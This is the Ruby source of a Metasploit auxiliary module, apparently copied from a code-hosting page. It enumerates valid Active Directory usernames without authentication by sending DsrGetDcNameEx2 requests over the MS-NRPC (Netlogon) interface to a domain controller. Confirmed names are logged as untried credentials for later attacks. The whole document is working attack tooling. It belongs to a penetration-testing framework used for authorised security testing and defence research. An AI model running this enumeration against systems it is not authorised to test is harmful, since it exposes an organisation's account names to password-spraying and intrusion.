Spencer McIntyre
135 lines
4.1 KiB
Ruby
135 lines
4.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Exploit::Remote::DCERPC
|
|
Netlogon = RubySMB::Dcerpc::Netlogon
|
|
@dport = nil
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'MS-NRPC Domain Users Enumeration',
|
|
'Description' => %q{
|
|
This module will enumerate valid Domain Users via no authentication against MS-NRPC interface.
|
|
It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with
|
|
Windows servers 2012, 2016, 2019 and 2022.
|
|
},
|
|
'Author' => [
|
|
'Haidar Kabibo <https://x.com/haider_kabibo>'
|
|
],
|
|
'References' => [
|
|
['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [false, 'The netlogon RPC port']),
|
|
OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate']),
|
|
OptBool.new('DB_ALL_USERS', [ false, 'Add all enumerated usernames to the database', false ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def bind_to_netlogon_service
|
|
@dport = datastore['RPORT']
|
|
if @dport.nil? || @dport == 0
|
|
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
|
|
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
|
|
end
|
|
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
|
|
print_status("Binding to #{handle}...")
|
|
dcerpc_bind(handle)
|
|
end
|
|
|
|
def dsr_get_dc_name_ex2(username)
|
|
request = Netlogon.const_get('DsrGetDcNameEx2Request').new(
|
|
computer_name: nil,
|
|
account_name: username,
|
|
allowable_account_control_bits: 0x200,
|
|
domain_name: nil,
|
|
domain_guid: nil,
|
|
site_name: nil,
|
|
flags: 0x00000000
|
|
)
|
|
begin
|
|
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
|
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
|
fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}")
|
|
end
|
|
Netlogon.const_get('DsrGetDcNameEx2Response').read(raw_response)
|
|
end
|
|
|
|
def report_username(domain, username)
|
|
service_data = {
|
|
address: datastore['RHOST'],
|
|
port: @dport,
|
|
service_name: 'netlogon',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: username,
|
|
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
|
realm_value: domain
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def run_host(_ip)
|
|
usernames = load_usernames(datastore['USER_FILE'])
|
|
bind_to_netlogon_service
|
|
|
|
usernames.each do |username|
|
|
enumerate_user(username)
|
|
end
|
|
end
|
|
|
|
private
|
|
|
|
def load_usernames(file_path)
|
|
unless ::File.exist?(file_path)
|
|
fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist')
|
|
end
|
|
|
|
usernames = []
|
|
::File.foreach(file_path) do |line|
|
|
usernames << line.strip
|
|
end
|
|
usernames
|
|
end
|
|
|
|
def enumerate_user(username)
|
|
response = dsr_get_dc_name_ex2(username)
|
|
if response.error_status == 0
|
|
print_good("#{username} exists -> DC: #{response.domain_controller_info.domain_controller_name.encode('UTF-8')}")
|
|
if datastore['DB_ALL_USERS']
|
|
report_username(response.domain_controller_info.domain_name.encode('UTF-8'), username)
|
|
end
|
|
else
|
|
print_error("#{username} does not exist")
|
|
end
|
|
end
|
|
end
|